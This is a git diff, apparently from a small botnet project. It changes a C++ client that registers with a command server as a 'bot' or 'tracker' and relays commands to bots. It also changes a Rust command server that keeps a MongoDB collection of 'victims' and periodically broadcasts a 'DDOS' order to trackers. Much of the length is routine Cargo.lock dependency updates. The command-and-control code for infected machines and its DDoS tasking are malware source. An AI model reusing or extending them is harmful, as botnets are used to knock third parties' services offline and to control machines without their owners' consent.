diff --git a/client/Makefile b/client/Makefile index fb9436f..b5efb57 100644 --- a/client/Makefile +++ b/client/Makefile @@ -4,7 +4,7 @@ SRC = main.cpp \ upnp_init.cpp \ upnp_actions.cpp \ Bot.cpp - + SRC_UPNP = upnp.cpp \ upnp_init.cpp \ upnp_actions.cpp diff --git a/client/client_server b/client/client_server index d7ba024..3e8ff9b 100755 Binary files a/client/client_server and b/client/client_server differ diff --git a/client/src/Bot.cpp b/client/src/Bot.cpp index eb1abcd..a670310 100644 --- a/client/src/Bot.cpp +++ b/client/src/Bot.cpp @@ -28,8 +28,10 @@ Bot::Bot(asio::ip::tcp::socket &socket) : _main_server(socket), void Bot::connectToTracker() { + std::cerr << "Hello\n"; for (auto tracker : _trackers) { try { + std::cerr << tracker << std::endl; asio::ip::tcp::endpoint endpoint(asio::ip::address::from_string(tracker), 3612); _connection_tracker.connect(endpoint); break; diff --git a/client/src/TypeGuesser.cpp b/client/src/TypeGuesser.cpp index 784d300..5a4f131 100644 --- a/client/src/TypeGuesser.cpp +++ b/client/src/TypeGuesser.cpp @@ -61,6 +61,7 @@ static void server(void) } +/// Connects to the server and asks if it should be tracker or bot void TypeGuesser::connect(const std::string &ip) { asio::ip::tcp::endpoint endpoint(asio::ip::address::from_string(ip), 9570); diff --git a/client/src/main.cpp b/client/src/main.cpp index 024c81f..df7f45c 100644 --- a/client/src/main.cpp +++ b/client/src/main.cpp @@ -10,7 +10,7 @@ void bot(asio::ip::tcp::socket &socket) b.connectToTracker(); } -void tracker(asio::ip::tcp::socket &socket) +[[noreturn]] void tracker(asio::ip::tcp::socket &socket) { asio::io_service io_service; asio::ip::tcp::acceptor acceptor_server(io_service, asio::ip::tcp::endpoint(asio::ip::tcp::v4(), 3612)); @@ -26,9 +26,12 @@ void tracker(asio::ip::tcp::socket &socket) } }); while (true) { - asio::read_until(socket, asio::dynamic_buffer(received_buffer), "\r\n"); + std::size_t n = asio::read_until(socket, asio::dynamic_buffer(received_buffer), "\r\n"); + std::cout << "Sending message to all bots: " << received_buffer << std::endl; + std::string line = received_buffer.substr(0, n); + received_buffer.erase(0, n); for (auto &client : clients) { - asio::write(client, asio::buffer(received_buffer)); + asio::write(client, asio::buffer(line)); } } } @@ -39,7 +42,7 @@ int main() asio::ip::tcp::socket mainServer(io_service); TypeGuesser guesser(mainServer); - guesser.connect("192.168.0.12"); + guesser.connect("192.168.1.29"); std::cout << "guesser: " << static_cast(guesser.type()) << std::endl; switch (guesser.type()) { case TypeGuesser::Type::Bot: diff --git a/server/Cargo.lock b/server/Cargo.lock index 511f14d..70925b9 100644 --- a/server/Cargo.lock +++ b/server/Cargo.lock @@ -31,6 +31,152 @@ dependencies = [ "libc", ] +[[package]] +name = "async-attributes" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3203e79f4dd9bdda415ed03cf14dae5a2bf775c683a00f94e9cd1faf0f596e5" +dependencies = [ + "quote", + "syn", +] + +[[package]] +name = "async-channel" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81953c529336010edd6d8e358f886d9581267795c61b19475b71314bffa46d35" +dependencies = [ + "concurrent-queue", + "event-listener", + "futures-core", +] + +[[package]] +name = "async-executor" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fa3dc5f2a8564f07759c008b9109dc0d39de92a88d5588b8a5036d286383afb" +dependencies = [ + "async-lock", + "async-task", + "concurrent-queue", + "fastrand", + "futures-lite", + "slab", +] + +[[package]] +name = "async-global-executor" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1b6f5d7df27bd294849f8eec66ecfc63d11814df7a4f5d74168a2394467b776" +dependencies = [ + "async-channel", + "async-executor", + "async-io", + "async-lock", + "blocking", + "futures-lite", + "once_cell", +] + +[[package]] +name = "async-io" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c374dda1ed3e7d8f0d9ba58715f924862c63eae6849c92d3a18e7fbde9e2794" +dependencies = [ + "async-lock", + "autocfg", + "concurrent-queue", + "futures-lite", + "libc", + "log", + "parking", + "polling", + "slab", + "socket2", + "waker-fn", + "windows-sys 0.42.0", +] + +[[package]] +name = "async-lock" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa24f727524730b077666307f2734b4a1a1c57acb79193127dcc8914d5242dd7" +dependencies = [ + "event-listener", +] + +[[package]] +name = "async-process" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6381ead98388605d0d9ff86371043b5aa922a3905824244de40dc263a14fcba4" +dependencies = [ + "async-io", + "async-lock", + "autocfg", + "blocking", + "cfg-if", + "event-listener", + "futures-lite", + "libc", + "signal-hook", + "windows-sys 0.42.0", +] + +[[package]] +name = "async-std" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62565bb4402e926b29953c785397c6dc0391b7b446e45008b0049eb43cec6f5d" +dependencies = [ + "async-attributes", + "async-channel", + "async-global-executor", + "async-io", + "async-lock", + "async-process", + "crossbeam-utils", + "futures-channel", + "futures-core", + "futures-io", + "futures-lite", + "gloo-timers", + "kv-log-macro", + "log", + "memchr", + "once_cell", + "pin-project-lite", + "pin-utils", + "slab", + "wasm-bindgen-futures", +] + +[[package]] +name = "async-std-resolver" +version = "0.21.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f2f8a4a203be3325981310ab243a28e6e4ea55b6519bffce05d41ab60e09ad8" +dependencies = [ + "async-std", + "async-trait", + "futures-io", + "futures-util", + "pin-utils", + "socket2", + "trust-dns-resolver", +] + +[[package]] +name = "async-task" +version = "4.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ecc7ab41815b3c653ccd2978ec3255c81349336702dfdf62ee6f7069b12a3aae" + [[package]] name = "async-trait" version = "0.1.59" @@ -42,6 +188,12 @@ dependencies = [ "syn", ] +[[package]] +name = "atomic-waker" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1181e1e0d1fce796a03db1ae795d67167da795f9cf4a39c37589e85ef57f26d3" + [[package]] name = "atty" version = "0.2.14" @@ -65,12 +217,30 @@ version = "0.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" +[[package]] +name = "base64" +version = "0.21.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "604178f6c5c21f02dc555784810edfb88d34ac2c73b2eae109655649ee73ce3d" + [[package]] name = "bitflags" version = "1.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" +[[package]] +name = "bitvec" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c" +dependencies = [ + "funty", + "radium", + "tap", + "wyz", +] + [[package]] name = "block-buffer" version = "0.10.3" @@ -80,23 +250,40 @@ dependencies = [ "generic-array", ] +[[package]] +name = "blocking" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77231a1c8f801696fc0123ec6150ce92cffb8e164a02afb9c8ddee0e9b65ad65" +dependencies = [ + "async-channel", + "async-lock", + "async-task", + "atomic-waker", + "fastrand", + "futures-lite", + "log", +] + [[package]] name = "bson" -version = "2.4.0" +version = "2.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "99d76085681585d39016f4d3841eb019201fc54d2dd0d92ad1e4fab3bfb32754" +checksum = "9aeb8bae494e49dbc330dd23cf78f6f7accee22f640ce3ab17841badaa4ce232" dependencies = [ "ahash", - "base64", + "base64 0.13.1", + "bitvec", "hex", "indexmap", + "js-sys", "lazy_static", "rand", "serde", "serde_bytes", "serde_json", - "time 0.3.17", - "uuid 1.2.2", + "time", + "uuid", ] [[package]] @@ -130,11 +317,8 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "16b0a3d9ed01224b22057780a37bb8c5dbfe1be8ba48678e7bf57ec4b385411f" dependencies = [ "iana-time-zone", - "js-sys", "num-integer", "num-traits", - "time 0.1.45", - "wasm-bindgen", "winapi", ] @@ -148,6 +332,21 @@ dependencies = [ "unicode-width", ] +[[package]] +name = "concurrent-queue" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62ec6771ecfa0762d24683ee5a32ad78487a3d3afdc0fb8cae19d2c5deb50b7c" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "convert_case" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e" + [[package]] name = "core-foundation-sys" version = "0.8.3" @@ -163,6 +362,25 @@ dependencies = [ "libc", ] +[[package]] +name = "crossbeam-channel" +version = "0.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200" +dependencies = [ + "cfg-if", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" +dependencies = [ + "cfg-if", +] + [[package]] name = "crypto-common" version = "0.1.6" @@ -173,6 +391,16 @@ dependencies = [ "typenum", ] +[[package]] +name = "ctor" +version = "0.1.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d2301688392eb071b0bf1a37be05c469d3cc4dbbd95df672fe28ab021e6a096" +dependencies = [ + "quote", + "syn", +] + [[package]] name = "cxx" version = "1.0.83" @@ -269,6 +497,19 @@ dependencies = [ "syn", ] +[[package]] +name = "derive_more" +version = "0.99.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fb810d30a7c1953f91334de7244731fc3f3c10d7fe163338a35b9f640960321" +dependencies = [ + "convert_case", + "proc-macro2", + "quote", + "rustc_version 0.4.0", + "syn", +] + [[package]] name = "digest" version = "0.10.6" @@ -305,6 +546,21 @@ dependencies = [ "termcolor", ] +[[package]] +name = "event-listener" +version = "2.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" + +[[package]] +name = "fastrand" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be" +dependencies = [ + "instant", +] + [[package]] name = "fnv" version = "1.0.7" @@ -320,6 +576,12 @@ dependencies = [ "percent-encoding", ] +[[package]] +name = "funty" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c" + [[package]] name = "futures-channel" version = "0.3.25" @@ -352,6 +614,21 @@ version = "0.3.25" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "00f5fb52a06bdcadeb54e8d3671f8888a39697dcb0b81b23b55174030427f4eb" +[[package]] +name = "futures-lite" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce" +dependencies = [ + "fastrand", + "futures-core", + "futures-io", + "memchr", + "parking", + "pin-project-lite", + "waker-fn", +] + [[package]] name = "futures-macro" version = "0.3.25" @@ -409,7 +686,19 @@ checksum = "c05aeb6a22b8f62540c194aac980f2115af067bfe15a0734d7277a768d396b31" dependencies = [ "cfg-if", "libc", - "wasi 0.11.0+wasi-snapshot-preview1", + "wasi", +] + +[[package]] +name = "gloo-timers" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b995a66bb87bebce9a0f4a95aed01daca4872c050bfcb21653361c03bc35e5c" +dependencies = [ + "futures-channel", + "futures-core", + "js-sys", + "wasm-bindgen", ] [[package]] @@ -526,6 +815,15 @@ dependencies = [ "hashbrown", ] +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", +] + [[package]] name = "ipconfig" version = "0.3.1" @@ -559,6 +857,15 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "kv-log-macro" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de8b303297635ad57c9f5059fd9cee7a47f8e8daa09df0fcd07dd39fb22977f" +dependencies = [ + "log", +] + [[package]] name = "lazy_static" version = "1.4.0" @@ -603,6 +910,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" dependencies = [ "cfg-if", + "value-bag", ] [[package]] @@ -649,30 +957,33 @@ checksum = "e5d732bc30207a6423068df043e3d02e0735b155ad7ce1a6f76fe2baa5b158de" dependencies = [ "libc", "log", - "wasi 0.11.0+wasi-snapshot-preview1", - "windows-sys", + "wasi", + "windows-sys 0.42.0", ] [[package]] name = "mongodb" -version = "2.3.1" +version = "2.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b5a1df476ac9541b0e4fdc8e2cc48884e66c92c933cd17a1fd75e68caf75752e" +checksum = "ebcd85ec209a5b84fd9f54b9e381f6fa17462bc74160d018fc94fd8b9f61faa8" dependencies = [ + "async-std", + "async-std-resolver", "async-trait", - "base64", + "base64 0.13.1", "bitflags", "bson", "chrono", "derivative", + "derive_more", "futures-core", "futures-executor", + "futures-io", "futures-util", "hex", "hmac", "lazy_static", "md-5", - "os_info", "pbkdf2", "percent-encoding", "rand", @@ -680,7 +991,6 @@ dependencies = [ "rustls", "rustls-pemfile", "serde", - "serde_bytes", "serde_with", "sha-1", "sha2", @@ -695,7 +1005,7 @@ dependencies = [ "trust-dns-proto", "trust-dns-resolver", "typed-builder", - "uuid 0.8.2", + "uuid", "webpki-roots", ] @@ -735,14 +1045,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "86f0b0d4bf799edbc74508c1e8bf170ff5f41238e5f8225603ca7caaae2b7860" [[package]] -name = "os_info" -version = "3.5.1" +name = "parking" +version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c4750134fb6a5d49afc80777394ad5d95b04bc12068c6abb92fae8f43817270f" -dependencies = [ - "log", - "winapi", -] +checksum = "14f2252c834a40ed9bb5422029649578e63aa341ac401f74e719dd1afda8394e" [[package]] name = "parking_lot" @@ -764,14 +1070,14 @@ dependencies = [ "libc", "redox_syscall", "smallvec", - "windows-sys", + "windows-sys 0.42.0", ] [[package]] name = "pbkdf2" -version = "0.10.1" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "271779f35b581956db91a3e55737327a03aa051e90b1c47aeb189508533adfd7" +checksum = "83a0692ec44e4cf1ef28ca317f14f8f07da2d95ec3fa01f86e4467b725e60917" dependencies = [ "digest", ] @@ -794,6 +1100,22 @@ version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" +[[package]] +name = "polling" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b2d323e8ca7996b3e23126511a523f7e62924d93ecd5ae73b333815b0eb3dce" +dependencies = [ + "autocfg", + "bitflags", + "cfg-if", + "concurrent-queue", + "libc", + "log", + "pin-project-lite", + "windows-sys 0.48.0", +] + [[package]] name = "ppv-lite86" version = "0.2.17" @@ -824,6 +1146,12 @@ dependencies = [ "proc-macro2", ] +[[package]] +name = "radium" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09" + [[package]] name = "rand" version = "0.8.5" @@ -911,7 +1239,16 @@ version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "138e3e0acb6c9fb258b19b67cb8abd63c00679d2851805ea151465464fe9030a" dependencies = [ - "semver", + "semver 0.9.0", +] + +[[package]] +name = "rustc_version" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" +dependencies = [ + "semver 1.0.18", ] [[package]] @@ -920,8 +1257,8 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d31b7153270ebf48bf91c65ae5b0c00e749c4cfad505f66530ac74950249582f" dependencies = [ - "rustc_version", - "semver", + "rustc_version 0.2.3", + "semver 0.9.0", ] [[package]] @@ -938,11 +1275,11 @@ dependencies = [ [[package]] name = "rustls-pemfile" -version = "0.3.0" +version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ee86d63972a7c661d1536fefe8c3c8407321c3df668891286de28abcd087360" +checksum = "2d3987094b1d07b653b7dfdc3f70ce9a1da9c51ac18c1b06b662e4f9a0e9f4b2" dependencies = [ - "base64", + "base64 0.21.2", ] [[package]] @@ -982,6 +1319,12 @@ dependencies = [ "semver-parser", ] +[[package]] +name = "semver" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0293b4b29daaf487284529cc2f5675b8e57c61f70167ba415a463651fd6a918" + [[package]] name = "semver-parser" version = "0.7.0" @@ -1055,11 +1398,11 @@ dependencies = [ name = "server" version = "0.1.0" dependencies = [ + "crossbeam-channel", "env_logger", "log", "mongodb", "serde", - "tokio", ] [[package]] @@ -1084,6 +1427,16 @@ dependencies = [ "digest", ] +[[package]] +name = "signal-hook" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8621587d4798caf8eb44879d42e56b9a93ea5dcd315a6487c357130095b62801" +dependencies = [ + "libc", + "signal-hook-registry", +] + [[package]] name = "signal-hook-registry" version = "1.4.0" @@ -1163,6 +1516,12 @@ version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f764005d11ee5f36500a149ace24e00e3da98b0158b3e2d53a7495660d3f4d60" +[[package]] +name = "tap" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" + [[package]] name = "termcolor" version = "1.1.3" @@ -1192,17 +1551,6 @@ dependencies = [ "syn", ] -[[package]] -name = "time" -version = "0.1.45" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a" -dependencies = [ - "libc", - "wasi 0.10.0+wasi-snapshot-preview1", - "winapi", -] - [[package]] name = "time" version = "0.3.17" @@ -1257,12 +1605,10 @@ dependencies = [ "memchr", "mio", "num_cpus", - "parking_lot", "pin-project-lite", - "signal-hook-registry", "socket2", "tokio-macros", - "windows-sys", + "windows-sys 0.42.0", ] [[package]] @@ -1295,6 +1641,7 @@ checksum = "0bb2e075f03b3d66d8d8785356224ba688d2906a371015e225beeb65ca92c740" dependencies = [ "bytes", "futures-core", + "futures-io", "futures-sink", "pin-project-lite", "tokio", @@ -1408,21 +1755,22 @@ dependencies = [ [[package]] name = "uuid" -version = "0.8.2" +version = "1.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc5cf98d8186244414c848017f0e2676b3fcb46807f6668a97dfe67359a3c4b7" +checksum = "422ee0de9031b5b948b97a8fc04e3aa35230001a722ddd27943e0be31564ce4c" dependencies = [ "getrandom", + "serde", ] [[package]] -name = "uuid" -version = "1.2.2" +name = "value-bag" +version = "1.0.0-alpha.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "422ee0de9031b5b948b97a8fc04e3aa35230001a722ddd27943e0be31564ce4c" +checksum = "2209b78d1249f7e6f3293657c9779fe31ced465df091bbd433a1cf88e916ec55" dependencies = [ - "getrandom", - "serde", + "ctor", + "version_check", ] [[package]] @@ -1432,10 +1780,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" [[package]] -name = "wasi" -version = "0.10.0+wasi-snapshot-preview1" +name = "waker-fn" +version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f" +checksum = "9d5b2c62b4012a3e1eca5a7e077d13b3bf498c4073e33ccd58626607748ceeca" [[package]] name = "wasi" @@ -1468,6 +1816,18 @@ dependencies = [ "wasm-bindgen-shared", ] +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23639446165ca5a5de86ae1d8896b737ae80319560fbaa4c2887b7da6e7ebd7d" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + [[package]] name = "wasm-bindgen-macro" version = "0.2.83" @@ -1569,13 +1929,37 @@ version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" dependencies = [ - "windows_aarch64_gnullvm", - "windows_aarch64_msvc", - "windows_i686_gnu", - "windows_i686_msvc", - "windows_x86_64_gnu", - "windows_x86_64_gnullvm", - "windows_x86_64_msvc", + "windows_aarch64_gnullvm 0.42.0", + "windows_aarch64_msvc 0.42.0", + "windows_i686_gnu 0.42.0", + "windows_i686_msvc 0.42.0", + "windows_x86_64_gnu 0.42.0", + "windows_x86_64_gnullvm 0.42.0", + "windows_x86_64_msvc 0.42.0", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.48.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05d4b17490f70499f20b9e791dcf6a299785ce8af4d709018206dc5b4953e95f" +dependencies = [ + "windows_aarch64_gnullvm 0.48.0", + "windows_aarch64_msvc 0.48.0", + "windows_i686_gnu 0.48.0", + "windows_i686_msvc 0.48.0", + "windows_x86_64_gnu 0.48.0", + "windows_x86_64_gnullvm 0.48.0", + "windows_x86_64_msvc 0.48.0", ] [[package]] @@ -1584,42 +1968,84 @@ version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "41d2aa71f6f0cbe00ae5167d90ef3cfe66527d6f613ca78ac8024c3ccab9a19e" +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" + [[package]] name = "windows_aarch64_msvc" version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dd0f252f5a35cac83d6311b2e795981f5ee6e67eb1f9a7f64eb4500fbc4dcdb4" +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" + [[package]] name = "windows_i686_gnu" version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fbeae19f6716841636c28d695375df17562ca208b2b7d0dc47635a50ae6c5de7" +[[package]] +name = "windows_i686_gnu" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" + [[package]] name = "windows_i686_msvc" version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "84c12f65daa39dd2babe6e442988fc329d6243fdce47d7d2d155b8d874862246" +[[package]] +name = "windows_i686_msvc" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" + [[package]] name = "windows_x86_64_gnu" version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bf7b1b21b5362cbc318f686150e5bcea75ecedc74dd157d874d754a2ca44b0ed" +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" + [[package]] name = "windows_x86_64_gnullvm" version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "09d525d2ba30eeb3297665bd434a54297e4170c7f1a44cad4ef58095b4cd2028" +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" + [[package]] name = "windows_x86_64_msvc" version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f40009d85759725a34da6d89a94e63d7bdc50a862acf0dbc7c8e488f1edcb6f5" +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a" + [[package]] name = "winreg" version = "0.10.1" @@ -1628,3 +2054,12 @@ checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" dependencies = [ "winapi", ] + +[[package]] +name = "wyz" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f360fc0b24296329c78fda852a1e9ae82de9cf7b27dae4b7f62f118f77b9ed" +dependencies = [ + "tap", +] diff --git a/server/Cargo.toml b/server/Cargo.toml index 6aa52dc..2f897ca 100644 --- a/server/Cargo.toml +++ b/server/Cargo.toml @@ -8,7 +8,6 @@ edition = "2021" [dependencies] log = "0.4.0" env_logger = "0.9.0" -tokio = { version = "1", features = ["full"] } -mongodb = "2.1.0" +mongodb = { version = "2.6.0", default-features = false, features = ["sync"] } serde = { version = "1.0", features = ["derive"] } - +crossbeam-channel = "0.5.8" \ No newline at end of file diff --git a/server/src/bot.rs b/server/src/bot.rs index c9679fc..eb6a182 100644 --- a/server/src/bot.rs +++ b/server/src/bot.rs @@ -1,20 +1,21 @@ -use crate::victim::Victim; - -use tokio::{net::TcpStream, io::AsyncWriteExt}; -use mongodb::Collection; +use std::io::Write; +use std::net::TcpStream; use mongodb::bson::{doc, to_bson}; +use mongodb::sync::Collection; use crate::victim::{VictimDb, VictimType}; +use crate::victim::Victim; -pub async fn manage_bot(_victim: &Victim, stream: &mut TcpStream, victims_collection: &Collection) -> Result<(), Box> { - let tracker = victims_collection.find_one(doc! {"status": true, "victim_type": to_bson(&VictimType::Tracker).unwrap() }, None).await.unwrap(); +/// Finds a tracker for the bot to connect to and sends it to him +pub fn manage_bot(_victim: &Victim, stream: &mut TcpStream, victims_collection: &Collection) -> Result<(), Box> { + let tracker = victims_collection.find_one(doc! {"status": true, "victim_type": to_bson(&VictimType::Tracker).unwrap() }, None).unwrap(); // let tracker: Option = Some(VictimDb {ip: "192.168.1.1".to_string(), victim_type: VictimType::Bot, active: true}); if let Some(tracker) = tracker { - stream.write_all(b"trackers\n").await?; - stream.write_all((tracker.ip.to_string() + "\r\n").as_bytes()).await?; + stream.write_all(b"trackers\n")?; + stream.write_all((tracker.ip.to_string() + "\r\n").as_bytes())?; } else { - stream.write_all(b"trackers\n\r\n").await?; + stream.write_all(b"trackers\n\r\n")?; } Ok(()) diff --git a/server/src/main.rs b/server/src/main.rs index 79cea1b..d822844 100644 --- a/server/src/main.rs +++ b/server/src/main.rs @@ -1,51 +1,62 @@ -mod tracker; -mod victim; -mod bot; - #[macro_use] extern crate log; +use std::{env, net::SocketAddr, thread}; +use std::net::{TcpListener, TcpStream}; use std::time::Duration; -use std::{thread, net::SocketAddr, env}; -use tokio::net::{TcpListener, TcpStream}; -use mongodb::{options::ClientOptions, Client, Collection}; use mongodb::bson::doc; +use mongodb::options::ClientOptions; +use mongodb::sync::{Client, Collection}; + +use crossbeam_channel::Receiver; -use tokio::sync::broadcast::{self, Receiver}; -use victim::{VictimDb, Victim, VictimType}; +use victim::{Victim, VictimDb, VictimType}; + +mod tracker; +mod victim; +mod bot; -#[tokio::main] -async fn main() { +fn main() { + + // Initiate logging if env::var("RUST_LOG").is_err() { env::set_var("RUST_LOG", "debug"); } env_logger::init(); - let listener = TcpListener::bind("192.168.0.12:9570").await.unwrap(); - let options = ClientOptions::parse("mongodb://127.0.0.1:27017/").await.unwrap(); - let client = Client::with_options(options).unwrap(); - let (tx, _) = broadcast::channel::(16); + + // Bind port + let listener = TcpListener::bind("192.168.1.29:9570").unwrap(); + + // Connect to the database + let options = ClientOptions::parse("mongodb://127.0.0.1:27017/").unwrap(); + let db_client = Client::with_options(options).unwrap(); + + // Channel to send a message to all trackers + let (tx, rx) = crossbeam_channel::bounded(5); info!("Server started"); - let tx1 = tx.clone(); - tokio::spawn(async move { - // tx1.send("COMMAND".to_string()).expect("Mauvaise commande"); - // tx1.send("COMMAND".to_string()).unwrap(); - thread::sleep(Duration::from_secs(10)); + + thread::spawn(move || { + loop { + thread::sleep(Duration::from_secs(10)); + debug!("Sending test message to trackers"); + tx.send("DDOS 192.168.1.29\r\n").expect("huh"); + } }); + 